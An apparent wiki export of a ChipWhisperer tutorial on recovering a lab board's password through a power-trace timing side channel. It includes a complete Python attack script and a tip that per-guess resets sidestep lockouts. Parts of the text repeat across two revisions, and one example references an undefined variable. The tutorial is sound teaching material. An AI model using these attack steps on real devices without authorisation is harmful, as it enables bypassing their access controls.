Auxiliary modules are small pieces of code that can perform some extra functions during the capture process. The functions inside these Python modules are run before a capture, before the power measurement is armed, before the measurement is triggered, after a single trace is completed, and after an entire capture is finished. We will use an existing auxiliary module to reset the target chip before arming the measurement so that we don't have to manually reset the device.<br />
<br />
=== Reset via Spare IO Lines ===<br />
<br />
TODO - see reset via programming interface for now<br />
<br />
=== Reset via Auxiliary Module ===<br />
<br />
<ol style="list-style-type: decimal;"><br />
<li> Scroll down the list of scripts, and you'll find one labeled "aux_reset_cw1173.py". This script has a simple function of attempting to reset the XMEGA device using the programmer:<br />
<br><br />
[[File:auxreset_test1.png|600px]]<br />
</li><br />
<li>Hit the "Run" button. If you switch to the "Auxilary Module" tab, you'll see it's been added to the list of modules at the specified location.:<br />
<br><br />
[[File:auxreset_test2.png|400px]]<br />
</li><br />
<li>Looking at the code of the script, you can see how this script is using an external module & linking it to a specific auxilary module trigger:<br />
<syntaxhighlight lang=python><br />
from chipwhisperer.capture.auxiliary.ResetCW1173Read import ResetCW1173<br />
<br />
# GUI compatibility<br />
try:<br />
aux_list = self.aux_list<br />
except NameError:<br />
pass<br />
<br />
# Delay between arming and resetting, in ms<br />
delay_ms = 1000<br />
<br />
# Reset XMEGA device<br />
Resetter = ResetCW1173(pin='pdic', delay_ms=delay_ms)<br />
# Reset STM32Fx device<br />
#Resetter = ResetCW1173(pin='pdic', delay_ms=delay_ms)<br />
# Reset AVR<br />
#Resetter = ResetCW1173(pin='nrst', delay_ms=delay_ms)<br />
<br />
# Reset before arming<br />
# avoids possibility of false triggers<br />
# need delay in target firmware to avoid race condition<br />
aux_list.register(Resetter.resetThenDelay, "before_trace")<br />
<br />
# Reset after arming<br />
# scope can catch entire reset<br />
# avoids race condition<br />
# target reset can cause false triggers (usually not an issue)<br />
#aux_list.register(Resetter.delayThenReset, "after_arm")<br />
<br />
</syntaxhighlight><br />
{{Greenbox|Make sure to uncomment the correct reset line (shown in the example above) and comment out the other one using a #}}<br />
<li>You can edit the values required such as reset time & location by changing the script (using an external editor). But an easier method is to insert it into our attack script itself. As a test we'll see if the default values work.</li><br />
<li> Press ''Capture 1''. The target will automatically reset, with the Safe-o-matic 3000 boot sequence appearing in the console. Then, 1 second later, the program will send the password to the target and record a power trace.<br />
</li><br />
</ol><br />
<br />
Now, confirm that you can try different passwords (in ''Target Settings'') and see how the power trace changes when your password has 0, 1, 2... correct characters.<br />
<br />
Once done, use the *Remove* button to get rid of the auxiliary module, as we are going to add it instead to our script.<br />
<br />
== Performing the Timing Attack ==<br />
So far, we've set up our ChipWhisperer to automatically reset the target, send it a password attempt of our choice, and record a power trace while the target processes the password. Now, we'll write a Python script to automatically try different passwords and use these power traces to discover the password stored on the target.<br />
<br />
=== Scripting the Setup ===<br />
Our first step will be to write a script that automatically sets up the ChipWhisperer Capture software with all of the settings we've tested above. We'll do this by modifying an existing script with our own settings.<br />
<br />
<ol style="list-style-type: decimal;"><br />
<li>Make a copy of an existing ChipWhisperer script. The example scripts are located at <code>chipwhisperer\software\chipwhisperer\capture\scripts</code>; for example, the default one for the XMEGA device is called <code>setup_cwlite_xmega.py</code>. Make a copy of this script in the same directory (or copy it somewhere else<br />
</li><br />
<li><p>Rename the script something else - for example, <code>cwlite-passwordcrack.py</code> - and open it for editing. You'll notice that a large chunk of the code is used to set configuration information:</p><br />
<pre><br />
scope.gain.gain = 45<br />
scope.adc.samples = 25000<br />
scope.adc.offset = 0<br />
scope.adc.basic_mode = "rising_edge"<br />
scope.clock.clkgen_freq = 7370000<br />
scope.clock.adc_src = "clkgen_x4"<br />
scope.trigger.triggers = "tio4"<br />
scope.io.tio1 = "serial_rx"<br />
scope.io.tio2 = "serial_tx"<br />
scope.io.hs2 = "clkgen"<br />
</pre><br />
<br />
<p>Those parameters come from the API. You can print for example the scope parameters by running "self.scope" to see various elements:</p><pre><br />
>>> self.scope<br />
cwlite Device<br />
gain = <br />
mode = low<br />
gain = 45<br />
db = 22.50390625<br />
adc = <br />
state = False<br />
basic_mode = rising_edge<br />
timeout = 2<br />
offset = 0<br />
presamples = 0<br />
samples = 25000<br />
decimate = 1<br />
trig_count = 3084728877<br />
clock = <br />
adc_src = clkgen_x4<br />
adc_phase = 0<br />
adc_freq = 29538459<br />
adc_rate = 29538459<br />
adc_locked = True<br />
freq_ctr = 0<br />
freq_ctr_src = extclk<br />
clkgen_src = system<br />
extclk_freq = 10000000<br />
clkgen_mul = 2<br />
clkgen_div = 26<br />
clkgen_freq = 7384615<br />
clkgen_locked = True<br />
trigger = <br />
triggers = tio4<br />
module = basic<br />
io = <br />
tio1 = serial_rx<br />
tio2 = serial_tx<br />
tio3 = high_z<br />
tio4 = high_z<br />
pdid = high_z<br />
pdic = high_z<br />
nrst = high_z<br />
glitch_hp = 0<br />
glitch_lp = 0<br />
extclk_src = hs1<br />
hs2 = clkgen<br />
target_pwr = True<br />
glitch = <br />
clk_src = target<br />
width = 10.15625<br />
width_fine = 0<br />
offset = 10.15625<br />
offset_fine = 0<br />
trigger_src = manual<br />
arm_timing = after_scope<br />
ext_offset = 0<br />
repeat = 1<br />
output = clock_xor<br />
</pre></li><br />
</ol><br />
<br />
<br />
<ol start="4" style="list-style-type: decimal;"><br />
<li><p>Next, append the required commands to clear the simpleserial commands and to enable the automatic resets. Doing so will require two steps: (1) figuring out the target settings and adjusting them, and (2) inserting our code to perform the device reset.</p><br />
<p><br />
Using the console, you can dump parameters of the simpleserial target (assuming you are still connected):<br />
<syntaxhighlight lang=python><br />
>>> target<br />
init_cmd = <br />
key_cmd = k$KEY$\n<br />
input_cmd = <br />
go_cmd = p$TEXT$\n<br />
output_cmd = r$RESPONSE$\n<br />
baud = 38400<br />
protver = <br />
</syntaxhighlight><br />
</p><br />
</li><br />
<br />
<li>You should be able to see how you can simply clear all of the above settings using the script. This would mean adding some lines as follows to the script:<br />
<syntaxhighlight lang=python><br />
target.key_cmd = ''<br />
target.go_cmd = ''<br />
target.output_cmd = ''<br />
</syntaxhighlight><br />
</li><br />
<br />
<li>Remembering the auxilary module, you can also add the lines to perform this task as well to your script:<br />
<syntaxhighlight lang=python><br />
from chipwhisperer.capture.auxiliary.ResetCW1173Read import ResetCW1173<br />
Resetter = ResetCW1173(xmega=True, delay_ms=1200)<br />
aux_list.register(Resetter.resetThenDelay, "before_trace")<br />
</syntaxhighlight><br />
</li><br />
<br />
<li><p>We will need to set the password guess so we can observe different traces. You can enter the password in the Capture ''Target Settings'' tab, or simply use a command like <code>target.go_cmd = 'h0p3\n'</code>.</p></li><br />
<li>Finally, run the script you made. It should load all settings & on hitting capture-1 you will get a waveform related to the power measurement during the comparison.</li><br />
</ol><br />
<br />
=== Running a Single Capture ===<br />
With our settings prepared, the next step is to use our script to record and analyze a power trace. We need to be able to get the trace data into our Python script so we can analyze it for the timing attack.<br />
<br />
The API allows us to ''press the Capture 1'' button and ''view the power trace'' without using the GUI. There are two relevant commands here. First, we'll need to import ChipWhisperer:<br />
<br />
* <code>import chipwhisperer as cw</code><br />
<br />
Then, we can build our own "capture controller". This controller deals with talking to the scope and target for you. To capture a single trace you could perform the following steps:<br />
<br />
<syntaxhighlight lang=python><br />
# Test one capture<br />
cw.captureN(self.scope, self.target, None, self.aux_list, self.ktp, 1)<br />
trace = scope.getLastTrace()<br />
</syntaxhighlight><br />
<br />
We want to test these two commands. After the setup portion of your script, add some code similar to the following:<br />
<syntaxhighlight lang=python><br />
#Put this at beginning of script<br />
import chipwhisperer as cw<br />
<br />
#Put this later on after setup happens<br />
cw.captureN(self.scope, self.target, None, self.aux_list, self.ktp, 1)<br />
trace = scope.getLastTrace()<br />
print trace<br />
</syntaxhighlight><br />
<br />
Run your script. The ChipWhisperer should automatically capture one trace and print out some datapoints.<br />
<br />
=== Attacking a Single Letter ===<br />
Now that we can record one power trace, we can start the timing attack. Our goal here is to automatically find the first letter of the Super Secret (tm) password.<br />
<br />
<p>Look at this example of the power traces when 0 and 1 bytes are correct. We can see a clear point that appears to shift forward in time:</p><br />
<blockquote><p>[[File:Passwordcrackerpts.png|image]]</p></blockquote><br />
<p>When we guess the first byte incorrectly, there is a distinct power spike at sample number 153. However, when we guess correctly, the target spends more time processing the password, and this spike moves 72 samples forward. This means that we can check if our first byte is correct by checking this data point: if we're right, it will have an amplitude greater than -0.2. Note the specific point will change for different hardware, and may also change if you use different versions of avr-gcc to compile the target code. The example code here was compiled with WinAVR 20100110, which has avr-gcc 4.3.3. If you view the video version of this tutorial the point numbers are different for example, so be sure to check what they are for your specific system.</p><br />
<br />
Add a loop to your script that does the following:<br />
* Sets the ''Go Command'' to the next character we want to try<br />
* Captures a power trace<br />
* Checks if sample 153 is above -0.2 (fill in the appropriate numbers here)<br />
* Repeats for all characters we want to try<br />
An example of this loop is:<br />
<br />
<syntaxhighlight lang=python><br />
trylist = 'abcdefghijklmnopqrstuvwxyz0123456789'<br />
<br />
<br />
for c in trylist:<br />
# Get a power trace using our next attempt<br />
nextPass = password + '{}'.format(c) + "\n"<br />
target.go_cmd = nextPass<br />
cw.captureN(self.scope, self.target, None, self.aux_list, self.ktp, 1)<br />
<br />
# Grab the trace and check data[153]<br />
nextTrace = scope.getLastTrace()<br />
if data[153] > -0.2:<br />
print "Success: " + c <br />
</syntaxhighlight><br />
This script will eventually stop, but you can use Ctrl+C on the command line to kill it. Make sure your script prints "Success: h"!<br />
<br />
=== Attacking the Full Password ===<br />
The last step is to attack the entire password, one letter at a time. The procedure to do this is:<br />
* Start with a blank password string<br />
* Loop through all of the characters we want to try:<br />
** Add the next character to the end of the password<br />
** Test this new candidate password using code similar to the above<br />
** If the new password is correct up to character (1, 2, ..., 5), add it to the end of the password<br />
* Repeat until we've cracked all 5 characters.<br />
<br />
Note that the point of interest is no longer at sample 153. We noticed earlier that this key point moves 72 samples forward for every correct character, so we'll have to check location <code>153</code> for character 0, <code>153 + 72</code> for character 1, and <code>153 + i*72</code> for character <code>i</code>.<br />
<br />
An example of this loop is:<br />
<syntaxhighlight lang=python><br />
# Crack the first letter<br />
password = ''<br />
trylist = 'abcdefghijklmnopqrstuvwxyz0123456789'<br />
<br />
for i in range(5):<br />
for c in trylist:<br />
# Get a power trace using our next attempt<br />
nextPass = password + '{}'.format(c) + "\n"<br />
target.go_cmd = nextPass<br />
cw.captureN(self.scope, self.target, None, self.aux_list, self.ktp, 1)<br />
<br />
# Grab the trace<br />
nextTrace = scope.getLastTrace()<br />
<br />
# Check location 153, 225, etc. If it's too low, we've failed<br />
if nextTrace[153 + 72*i] < -0.2:<br />
continue<br />
<br />
# If we got here, we've found the right letter<br />
password += c<br />
print '{} characters: {}'.format(i+1, password)<br />
break<br />
</syntaxhighlight><br />
After some time, this prints <code>5 characters: h0px3</code> -- it automatically finds the correct password.<br />
<br />
That's it! You should have successfully cracked a password using the timing attack. Some notes on this method:<br />
<br />
* The target device has a finite start-up time, which slows down the attack. If you wish, remove some of the printf()'s from the target code, recompile and reprogram, and see how quickly you can do this attack.<br />
* The current script doesn't look for the &quot;WELCOME&quot; message when the password is OK. That is an extension that allows it to crack any size password.<br />
* If there was a lock-out on a wrong password, the system would ignore it, as it resets the target after every attempt.<br />
<br />
== Conclusion ==<br />
<br />
This tutorial has demonstrated the use of the power side-channel for performing timing attacks. A target with a simple password-based security system is broken. In addition you have learned about the scripting support in the ChipWhisperer-Capture software.<br />
<br />
== Appendix: Completed Timing Attack Script ==<br />
The complete tutorial might look like this:<br />
<syntaxhighlight lang=python><br />
"""This script is an example of a timing attack on a simple password checker. <br />
It is the result of Tutorial B3-1 from the ChipWhisperer Wiki.<br />
"""<br />
<br />
import chipwhisperer as cw<br />
from chipwhisperer.capture.auxiliary.ResetCW1173Read import ResetCW1173<br />
<br />
# GUI compatibility<br />
try:<br />
scope = self.scope<br />
target = self.target<br />
aux_list = self.aux_list<br />
except NameError:<br />
pass<br />
<br />
# Set up scope<br />
scope.gain.gain = 45<br />
scope.adc.samples = 2000<br />
scope.adc.offset = 0<br />
scope.adc.basic_mode = "rising_edge"<br />
scope.clock.clkgen_freq = 7370000<br />
scope.clock.adc_src = "clkgen_x4"<br />
scope.trigger.triggers = "tio4"<br />
scope.io.tio1 = "serial_rx"<br />
scope.io.tio2 = "serial_tx"<br />
scope.io.hs2 = "clkgen"<br />
<br />
# Set up target<br />
target.key_cmd = ""<br />
target.go_cmd = "h0px3\n"<br />
target.output_cmd = ""<br />
<br />
# Set up aux module to reset target before capture<br />
resetter = ResetCW1173(xmega=True, delay_ms=1200)<br />
aux_list.register(resetter.resetThenDelay, "before_trace")<br />
<br />
# Test one capture<br />
cw.captureN(self.scope, self.target, None, self.aux_list, self.ktp, 1)<br />
trace = scope.getLastTrace()<br />
print trace<br />
<br />
# Crack the first letter<br />
password = ''<br />
trylist = 'abcdefghijklmnopqrstuvwxyz0123456789'<br />
<br />
for i in range(5):<br />
for c in trylist:<br />
# Get a power trace using our next attempt<br />
nextPass = password + '{}'.format(c) + "\n"<br />
target.go_cmd = nextPass<br />
cw.captureN(self.scope, self.target, None, self.aux_list, self.ktp, 1)<br />
<br />
# Grab the trace<br />
nextTrace = scope.getLastTrace()<br />
<br />
# Check location 153, 225, etc. If it's too low, we've failed<br />
if nextTrace[153 + 72*i] < -0.2:<br />
continue<br />
<br />
# If we got here, we've found the right letter<br />
password += c<br />
print '{} characters: {}'.format(i+1, password)<br />
break<br />
</syntaxhighlight><br />
<br />
== Links ==<br />
<br />
{{Template:Tutorials}}<br />
[[Category:Tutorials]]</div>Fheubachhttp://wiki.newae.com/index.php?title=Tutorial_B3-1_Timing_Analysis_with_Power_for_Password_Bypass&diff=3531Tutorial B3-1 Timing Analysis with Power for Password Bypass2018-05-09T12:08:09Z<p>Fheubach: </p>
<hr />
<div>{{Warningbox|This tutorial has been updated for ChipWhisperer 4.0.0 release. If you are using 3.x.x see the "V3" link in the sidebar.}}<br />
<br />
{{Infobox tutorial<br />
|name = B3-1 Timing Analysis with Power for Password Bypass<br />
|image = <br />
|caption = <br />
|software versions =<br />
|capture hardware = CW-Lite, CW-Lite 2-Part, CW-Pro<br />
|Target Device = <br />
|Target Architecture = XMEGA<br />
|Hardware Crypto = No<br />
|Purchase Hardware = <br />
}}<br />
<br />
<br />
This tutorial will introduce you to breaking devices by determining when a device is performing certain operations. It will use a simple password check, and demonstrate how to perform a basic power analysis.<br />
<br />
In addition this example shows you how to drive the ChipWhisperer software with a script, rather than using the GUI. This will be required when attacking new devices which you have not yet added to the core ChipWhisperer software.<br />
<br />
Note this is not a prerequisite to the tutorial on breaking AES. You can skip this tutorial if you wish to go ahead with the AES tutorial.<br />
<br />
If you want to get a rough idea, there is a video of the V3 of the tutorial (which differs from the V4 version). See [https://www.youtube.com/watch?v=h4eAU6vEONs&hd=1 Video Version on YouTube]:<br />
<br />
== Prerequisites ==<br />
<br />
You should have already completed [[Tutorial B2 Viewing Instruction Power Differences]] to gain a better understanding of the ChipWhisperer interface.<br />
<br />
== Building the Target Firmware ==<br />
<br />
The target firmware is located in the directory <code>chipwhisperer\hardware\victims\firmware\basic-passwdcheck</code>. Build the firmware using <code>make</code>, once again being careful to ensure you are using the correct <code>PLATFORM=</code> command. You should end up with something like this being printed:<br />
<br />
<pre>Creating Symbol Table: basic-passwdcheck.sym<br />
avr-nm -n basic-passwdcheck.elf &gt; basic-passwdcheck.sym<br />
<br />
Size after:<br />
AVR Memory Usage<br />
----------------<br />
Device: atxmega128d3<br />
<br />
Program: 5400 bytes (3.9% Full)<br />
(.text + .data + .bootloader)<br />
<br />
Data: 524 bytes (6.4% Full)<br />
(.data + .bss + .noinit)<br />
<br />
<br />
Built for platform CW-Lite XMEGA<br />
<br />
-------- end --------</pre><br />
<br />
== Manual Communications with the Target ==<br />
<br />
At this point, you should be able to configure the target as in the previous tutorials. Rather than tediously going through the setup process again, we'll simply use one of the scripts built into the ChipWhisperer-Capture software. This will demonstrate how we can use a script as a starting point to simplify our setup.<br />
<br />
<ol style="list-style-type: decimal;"><br />
<li>Connect your target hardware (ChipWhisperer-Lite/Pro or ChipWhisperer-Capture Rev 2 with target board).</li><br />
<li>Start ChipWhisperer-Capture</li><br />
<li>Under the ''Python Console'' tab, find the ''connect_cwlite_simpleserial.py'' script and double-click.</li><br />
<li>Check there are no errors on the connection.</li><br />
<li>Under the ''Python Console'' tab, find the ''setup_cwlite_xmega.py'' script and double-click.</li><br />
<li>Both the Target &amp; Scope should switch to ''CON'' and be green circles.</li><br />
<li>Using the programming tool (such as XMEGA programming dialog), program the file <code>basic-passwdcheck.hex</code> into the target device. This file is located where you ran <code>make</code> previously.</li><br />
<li><p>Select ''Tools --> Terminal'', and press ''Connect''. You should see a window such as this:</p><br />
<blockquote><p>[[File:Termconn.png|image]]</p></blockquote></li><br />
<li><p>At this point we need to reset the target device. The easiest way to do this is use the programmer interface, and press the ''Check Signature'' or ''Read Signature'' button. This will reset the target device as part of the signature read operation. You should see some messages come across the terminal emulator window:</p><br />
<blockquote><p>[[File:Checksig_print.png|image]]</p></blockquote><br />
<dl><br />
<dt>Note a few warnings about the terminal emulator:</dt><br />
<dd><ul><br />
<li>The on-board buffer is fairly small, and can be easily overflowed. You may notice a few longer lines become trunicated if printing is too fast!</li><br />
<li>You can uncheck the &quot;Show non-ASCII as hex&quot; to avoid having the <code>0a</code> printed in red. The <code>0a</code> is the hex character for a newline. Many protocols use non-ASCII characters, so to help with debugging it is left enabled by default.</li></ul><br />
</dd></dl><br />
</li><br />
<li><p>We've now got some super-secure system! Let's begin with some exploratory tests - in this case I happened to know the correct password is <code>h0px3</code>.</p><br />
<blockquote><p>'''tip'''</p><br />
<p>In real systems, you may often know ''one'' of the passwords, which is sufficient to investigate the password checking routines as we will do. You also normally have an ability to reset passwords to default. While the reset procedure would erase any data you care about, the attacker will be able to use this 'sacrificial' device to learn about possible vulnerabilites. So the assumption that we have access to the password is really just saying we have access to ''a'' password, and will use that knowledge to break the system in general.</p></blockquote></li><br />
<li><p>Using the terminal emulator, write the correct password in, and press <code>&lt;enter&gt;</code>. You should be greeted by a welcome message, and if using the CW-Lite XMEGA target the green LED will illuminate:</p><br />
<p>[[File:Passok.png|image]]</p></li><br />
<li>The system enters an infinite loop for any password entry. Thus you must reset the system, use the ''Programmer Window'' to again perform a ''Check Signature'' or ''Read Signature'' operation.</li><br />
<li>Enter an incorrect password - notice a different message is printed, and if using the CW-Lite XMEGA target the red LED will come on.</li></ol><br />
<br />
== Recording Power Traces ==<br />
Now that we can communicate with our super-secure system, our next goal is to get a power trace while the target is running. To do this, we'll get the power measurements to trigger after we send our password to the target. <br />
<br />
<ol style="list-style-type: decimal;"><br />
<li><p>We'll make some changes to the trigger setup of the ChipWhisperer (on the ''Scope Settings'' tab). In particular, ensure you set the following:</p><br />
<blockquote><ul><br />
<li>Offset = 0</li><br />
<li>Timeout set to 5 seconds or greater (to give yourself time when manually testing)</li></ul><br />
<br />
<p>[[File:Timeout_offset.png|image]]</p></blockquote></li><br />
<li><p>Change to the ''Target Settings'' tab, and delete the ''Command'' strings. Those strings are used in the AES attack to send a specific command to the target device. For now we will be manually sending data:</p><br />
<blockquote><p>[[File:Text_targetsettings.png|image]]</p></blockquote></li><br />
<li>Still in the ''Target Settings'' tab, under ''Protocol Version'', change ''Version'' from ''Auto'' to ''1.0''<br />
<li><p>Perform the following actions:</p><br />
<blockquote><ol style="list-style-type: lower-roman;"><br />
<li>Reset the target device (e.g. by performing the signature check).</li><br />
<li>Enter the password <code>h0px3</code> in the terminal window, but ''do not'' yet hit enter.</li><br />
<li>Press the ''Capture 1'' button, and immediately switch to the terminal emulator window and press <code>&lt;enter&gt;</code> to send the password.</li></ol><br />
</blockquote><br />
<p>You must send the password before the timeout occurs -- you can increase the length of the timeout if needed to give yourself more time! If this works you should see the power consumption displayed in the GUI:</p><br />
<blockquote><p>[[File:Trace_manual_pass.png|image]]</p></blockquote></li><br />
<br />
<li><p>Rather than using the manual terminal, let's now use the GUI to automatically send a password try. Switching back to the ''Target Settings'' tab, write <code>h0px3\n</code> into the ''Go Command'' option:</p><br />
<blockquote><p>[[File:Gocorrect.png|image]]</p></blockquote><br />
<p>The ''Go Command'' is sent right after the scope is armed. In this example it means we can capture the power consumption during the password entry phase.</p></li><br />
<li><p>Now perform the following actions:</p><br />
<blockquote><ol style="list-style-type: lower-roman;"><br />
<li>Reset the target device (e.g. by performing the signature check).</li><br />
<li>Press the ''Capture 1'' button.</li></ol><br />
</blockquote><br />
<p>Hopefully this resulted in the same waveform as before! Note the device takes around 1 second to 'boot', so if you are too lightning fast after resetting the device it won't actually be ready to accept the password. You can keep the terminal emulator window open to view the output data.</p></li><br />
<li><p>Play around with the password entered on the ''Go Command'' - try all of the following:</p><br />
<ul><br />
<li><code>h0px3\n</code></li><br />
<li><code>h0px4\n</code></li><br />
<li><code>h0paa\n</code></li><br />
<li><code>haaaa\n</code></li><br />
<li><code>a\n</code></li></ul><br />
<br />
<p>You should notice a distinct change in the password depending how many characters were correct. For example the following shows the difference between passwords of <code>h0px4</code> (which has 4 correct characters) and <code>h0paa</code> (which has 3 correct characters):</p><br />
<blockquote><p>[[File:3vs4.png|image]]</p></blockquote></li></ol><br />
<br />
== Automatic Resets ==<br />
The last step before scripting an entire attack is to figure out how to automatically reset the target device before (or after) each capture. There are two ways to do this, and the following steps take you through two examples of how to accomplish this goal.<br />
<br />
BOTH of these methods use the "Auxilary Modules". See the page [[Auxiliary modules]] for more details.<br />
<br />
Auxiliary modules are small pieces of code that can perform some extra functions during the capture process. The functions inside these Python modules are run before a capture, before the power measurement is armed, before the measurement is triggered, after a single trace is completed, and after an entire capture is finished. We will use an existing auxiliary module to reset the target chip before arming the measurement so that we don't have to manually reset the device.<br />
<br />
=== Reset via Spare IO Lines ===<br />
<br />
TODO - see reset via programming interface for now<br />
<br />
=== Reset via Auxiliary Module ===<br />
<br />
<ol style="list-style-type: decimal;"><br />
<li> Scroll down the list of scripts, and you'll find one labeled "aux_reset_cw1173.py". This script has a simple function of attempting to reset the XMEGA device using the programmer:<br />
<br><br />
[[File:auxreset_test1.png|600px]]<br />
</li><br />
<li>Hit the "Run" button. If you switch to the "Auxilary Module" tab, you'll see it's been added to the list of modules at the specified location.:<br />
<br><br />
[[File:auxreset_test2.png|400px]]<br />
</li><br />
<li>Looking at the code of the script, you can see how this script is using an external module & linking it to a specific auxilary module trigger:<br />
<syntaxhighlight lang=python><br />
from chipwhisperer.capture.auxiliary.ResetCW1173Read import ResetCW1173<br />
<br />
# GUI compatibility<br />
try:<br />
aux_list = self.aux_list<br />
except NameError:<br />
pass<br />
<br />
# Delay between arming and resetting, in ms<br />
delay_ms = 1000<br />
<br />
# Reset XMEGA device<br />
Resetter = ResetCW1173(pin='pdic', delay_ms=delay_ms)<br />
# Reset STM32Fx device<br />
#Resetter = ResetCW1173(pin='pdic', delay_ms=delay_ms)<br />
# Reset AVR<br />
#Resetter = ResetCW1173(pin='nrst', delay_ms=delay_ms)<br />
<br />
# Reset before arming<br />
# avoids possibility of false triggers<br />
# need delay in target firmware to avoid race condition<br />
aux_list.register(Resetter.resetThenDelay, "before_trace")<br />
<br />
# Reset after arming<br />
# scope can catch entire reset<br />
# avoids race condition<br />
# target reset can cause false triggers (usually not an issue)<br />
#aux_list.register(Resetter.delayThenReset, "after_arm")<br />
<br />
</syntaxhighlight><br />
<li>You can edit the values required such as reset time & location by changing the script (using an external editor). But an easier method is to insert it into our attack script itself. As a test we'll see if the default values work.</li><br />
<li> Press ''Capture 1''. The target will automatically reset, with the Safe-o-matic 3000 boot sequence appearing in the console. Then, 1 second later, the program will send the password to the target and record a power trace.<br />
</li><br />
</ol><br />
<br />
Now, confirm that you can try different passwords (in ''Target Settings'') and see how the power trace changes when your password has 0, 1, 2... correct characters.<br />
<br />
Once done, use the *Remove* button to get rid of the auxiliary module, as we are going to add it instead to our script.<br />
<br />
== Performing the Timing Attack ==<br />
So far, we've set up our ChipWhisperer to automatically reset the target, send it a password attempt of our choice, and record a power trace while the target processes the password. Now, we'll write a Python script to automatically try different passwords and use these power traces to discover the password stored on the target.<br />
<br />
=== Scripting the Setup ===<br />
Our first step will be to write a script that automatically sets up the ChipWhisperer Capture software with all of the settings we've tested above. We'll do this by modifying an existing script with our own settings.<br />
<br />
<ol style="list-style-type: decimal;"><br />
<li>Make a copy of an existing ChipWhisperer script. The example scripts are located at <code>chipwhisperer\software\chipwhisperer\capture\scripts</code>; for example, the default one for the XMEGA device is called <code>setup_cwlite_xmega.py</code>. Make a copy of this script in the same directory (or copy it somewhere else<br />
</li><br />
<li><p>Rename the script something else - for example, <code>cwlite-passwordcrack.py</code> - and open it for editing. You'll notice that a large chunk of the code is used to set configuration information:</p><br />
<pre><br />
scope.gain.gain = 45<br />
scope.adc.samples = 25000<br />
scope.adc.offset = 0<br />
scope.adc.basic_mode = "rising_edge"<br />
scope.clock.clkgen_freq = 7370000<br />
scope.clock.adc_src = "clkgen_x4"<br />
scope.trigger.triggers = "tio4"<br />
scope.io.tio1 = "serial_rx"<br />
scope.io.tio2 = "serial_tx"<br />
scope.io.hs2 = "clkgen"<br />
</pre><br />
<br />
<p>Those parameters come from the API. You can print for example the scope parameters by running "self.scope" to see various elements:</p><pre><br />
>>> self.scope<br />
cwlite Device<br />
gain = <br />
mode = low<br />
gain = 45<br />
db = 22.50390625<br />
adc = <br />
state = False<br />
basic_mode = rising_edge<br />
timeout = 2<br />
offset = 0<br />
presamples = 0<br />
samples = 25000<br />
decimate = 1<br />
trig_count = 3084728877<br />
clock = <br />
adc_src = clkgen_x4<br />
adc_phase = 0<br />
adc_freq = 29538459<br />
adc_rate = 29538459<br />
adc_locked = True<br />
freq_ctr = 0<br />
freq_ctr_src = extclk<br />
clkgen_src = system<br />
extclk_freq = 10000000<br />
clkgen_mul = 2<br />
clkgen_div = 26<br />
clkgen_freq = 7384615<br />
clkgen_locked = True<br />
trigger = <br />
triggers = tio4<br />
module = basic<br />
io = <br />
tio1 = serial_rx<br />
tio2 = serial_tx<br />
tio3 = high_z<br />
tio4 = high_z<br />
pdid = high_z<br />
pdic = high_z<br />
nrst = high_z<br />
glitch_hp = 0<br />
glitch_lp = 0<br />
extclk_src = hs1<br />
hs2 = clkgen<br />
target_pwr = True<br />
glitch = <br />
clk_src = target<br />
width = 10.15625<br />
width_fine = 0<br />
offset = 10.15625<br />
offset_fine = 0<br />
trigger_src = manual<br />
arm_timing = after_scope<br />
ext_offset = 0<br />
repeat = 1<br />
output = clock_xor<br />
</pre></li><br />
</ol><br />
<br />
<br />
<ol start="4" style="list-style-type: decimal;"><br />
<li><p>Next, append the required commands to clear the simpleserial commands and to enable the automatic resets. Doing so will require two steps: (1) figuring out the target settings and adjusting them, and (2) inserting our code to perform the device reset.</p><br />
<p><br />
Using the console, you can dump parameters of the simpleserial target (assuming you are still connected):<br />
<syntaxhighlight lang=python><br />
>>> target<br />
init_cmd = <br />
key_cmd = k$KEY$\n<br />
input_cmd = <br />
go_cmd = p$TEXT$\n<br />
output_cmd = r$RESPONSE$\n<br />
baud = 38400<br />
protver = <br />
</syntaxhighlight><br />
</p><br />
</li><br />
<br />
<li>You should be able to see how you can simply clear all of the above settings using the script. This would mean adding some lines as follows to the script:<br />
<syntaxhighlight lang=python><br />
target.key_cmd = ''<br />
target.go_cmd = ''<br />
target.output_cmd = ''<br />
</syntaxhighlight><br />
</li><br />
<br />
<li>Remembering the auxilary module, you can also add the lines to perform this task as well to your script:<br />
<syntaxhighlight lang=python><br />
from chipwhisperer.capture.auxiliary.ResetCW1173Read import ResetCW1173<br />
Resetter = ResetCW1173(xmega=True, delay_ms=1200)<br />
aux_list.register(Resetter.resetThenDelay, "before_trace")<br />
</syntaxhighlight><br />
</li><br />
<br />
<li><p>We will need to set the password guess so we can observe different traces. You can enter the password in the Capture ''Target Settings'' tab, or simply use a command like <code>target.go_cmd = 'h0p3\n'</code>.</p></li><br />
<li>Finally, run the script you made. It should load all settings & on hitting capture-1 you will get a waveform related to the power measurement during the comparison.</li><br />
</ol><br />
<br />
=== Running a Single Capture ===<br />
With our settings prepared, the next step is to use our script to record and analyze a power trace. We need to be able to get the trace data into our Python script so we can analyze it for the timing attack.<br />
<br />
The API allows us to ''press the Capture 1'' button and ''view the power trace'' without using the GUI. There are two relevant commands here. First, we'll need to import ChipWhisperer:<br />
<br />
* <code>import chipwhisperer as cw</code><br />
<br />
Then, we can build our own "capture controller". This controller deals with talking to the scope and target for you. To capture a single trace you could perform the following steps:<br />
<br />
<syntaxhighlight lang=python><br />
# Test one capture<br />
cw.captureN(self.scope, self.target, None, self.aux_list, self.ktp, 1)<br />
trace = scope.getLastTrace()<br />
</syntaxhighlight><br />
<br />
We want to test these two commands. After the setup portion of your script, add some code similar to the following:<br />
<syntaxhighlight lang=python><br />
#Put this at beginning of script<br />
import chipwhisperer as cw<br />
<br />
#Put this later on after setup happens<br />
cw.captureN(self.scope, self.target, None, self.aux_list, self.ktp, 1)<br />
trace = scope.getLastTrace()<br />
print trace<br />
</syntaxhighlight><br />
<br />
Run your script. The ChipWhisperer should automatically capture one trace and print out some datapoints.<br />
<br />
=== Attacking a Single Letter ===<br />
Now that we can record one power trace, we can start the timing attack. Our goal here is to automatically find the first letter of the Super Secret (tm) password.<br />
<br />
<p>Look at this example of the power traces when 0 and 1 bytes are correct. We can see a clear point that appears to shift forward in time:</p><br />
<blockquote><p>[[File:Passwordcrackerpts.png|image]]</p></blockquote><br />
